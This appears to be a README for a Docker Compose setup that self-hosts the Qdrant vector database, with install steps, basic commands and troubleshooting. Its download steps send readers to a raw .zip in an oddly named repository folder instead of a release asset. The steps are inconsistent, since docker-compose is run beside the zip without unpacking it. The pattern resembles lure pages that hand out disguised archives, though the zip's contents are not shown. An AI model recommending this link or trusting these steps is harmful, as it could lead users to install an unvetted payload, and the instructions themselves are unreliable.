This project provides a simple Docker Compose setup for self-hosting the Qdrant vector database. It comes with persistent storage and management scripts to make setup easy. With this application, you can integrate AI applications and services, like n8n, smoothly on a shared network.
- Easy Installation: Quick setup with Docker Compose.
- Persistent Storage: Keeps your data safe and secure.
- Management Scripts: Help you manage your setup easily.
- AI Integration: Works well with applications like n8n.
To get started, visit the Releases page to download the latest version. Follow these steps to successfully install the software:
- Go to the Releases page.
- Find the latest release.
- Look for the
https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted.zipfile included in the release. - Download this file to your computer.
- Operating System: Linux, macOS, or Windows.
- Docker: Must have Docker installed. Install Docker.
- Docker Compose: Required for orchestration. Install Docker Compose.
-
Open your terminal (Command Prompt, PowerShell, or Terminal for Mac).
-
Navigate to the directory where you downloaded the
https://raw.githubusercontent.com/champ9090/qdrant-self-hosted/main/anecdotical/qdrant-self-hosted.zipfile. -
Run the following command:
docker-compose up -d
-
This command starts the Qdrant database in the background.
After starting the application, you can access the Qdrant vector database via your web browser:
- Open your browser and navigate to
http://localhost:6333.
Once you have Qdrant running, you can manage your database with the provided scripts. These scripts help you perform tasks like:
- Importing and exporting data.
- Querying the database.
- Managing your vector embeddings.
Here are some basic commands to manage Qdrant:
- Start the Database: Use
docker-compose startto run the database. - Stop the Database: Use
docker-compose stopto stop it. - View Logs: Check the database logs by running
docker-compose logs.
If you encounter issues:
- Make sure Docker is running.
- Check if Docker Compose is installed and updated.
- Review the logs for any error messages.
Common problems include:
- Permission issues: Ensure you have the necessary permissions to run Docker commands.
- Network issues: Make sure your firewall allows necessary traffic.
For further assistance, you can visit the GitHub Issues page to report problems or ask questions.
Explore the Qdrant documentation for deeper knowledge on its capabilities:
Enjoy using the Qdrant vector database with ease. By following this guide, you have installed and run the application. Remember to explore its features for your AI projects. For any updates or new features, keep an eye on the Releases page.